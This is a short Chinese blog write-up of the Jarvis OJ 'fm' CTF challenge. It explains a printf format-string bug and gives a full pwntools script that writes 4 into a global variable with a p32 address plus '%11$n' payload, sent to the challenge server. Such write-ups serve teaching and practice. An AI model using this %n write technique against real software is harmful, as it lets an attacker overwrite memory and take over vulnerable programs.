码迷,mamicode.com
首页 > 编程语言 > 详细

Jarvisoj fm

时间:2018-01-20 19:47:37      阅读:210      评论:0      收藏:0      [点我收藏+]

标签:inter   9.png   输出   bsp   soj   viso   image   div   rom   

格式化字符串的题目

技术分享图片

第12排是明显的漏洞

只要能将 x 改为 4 即可

而格式化字符串中 %n 可以写入数字

%n 是printf()是计算自己到%n位置已经输出的字符总数

所以只要输入长度为 4 的字符串 %n即可

 

以上面为栈顶(低地址),下面是栈底(高地址)

可以看到 print 的参数在 v5 buffer的上面

技术分享图片

也就是 v5 的可以视作为 printf ( v5 ) 的第 n 个参数(包括字符串的地址)

而现在我们需要知道 x 的地址和 n 即可构造出 payload

 x 地址 0804A02C

技术分享图片

附上脚本

from pwn import *

#io = process("./fm")
io = remote(pwn2.jarvisoj.com, 9895)

payload = p32(0x0804a02c) + "%11$n"

io.send(payload)
io.interactive()
io.close()

 

Jarvisoj fm

标签:inter   9.png   输出   bsp   soj   viso   image   div   rom   

原文地址:https://www.cnblogs.com/Vangelis/p/8321630.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!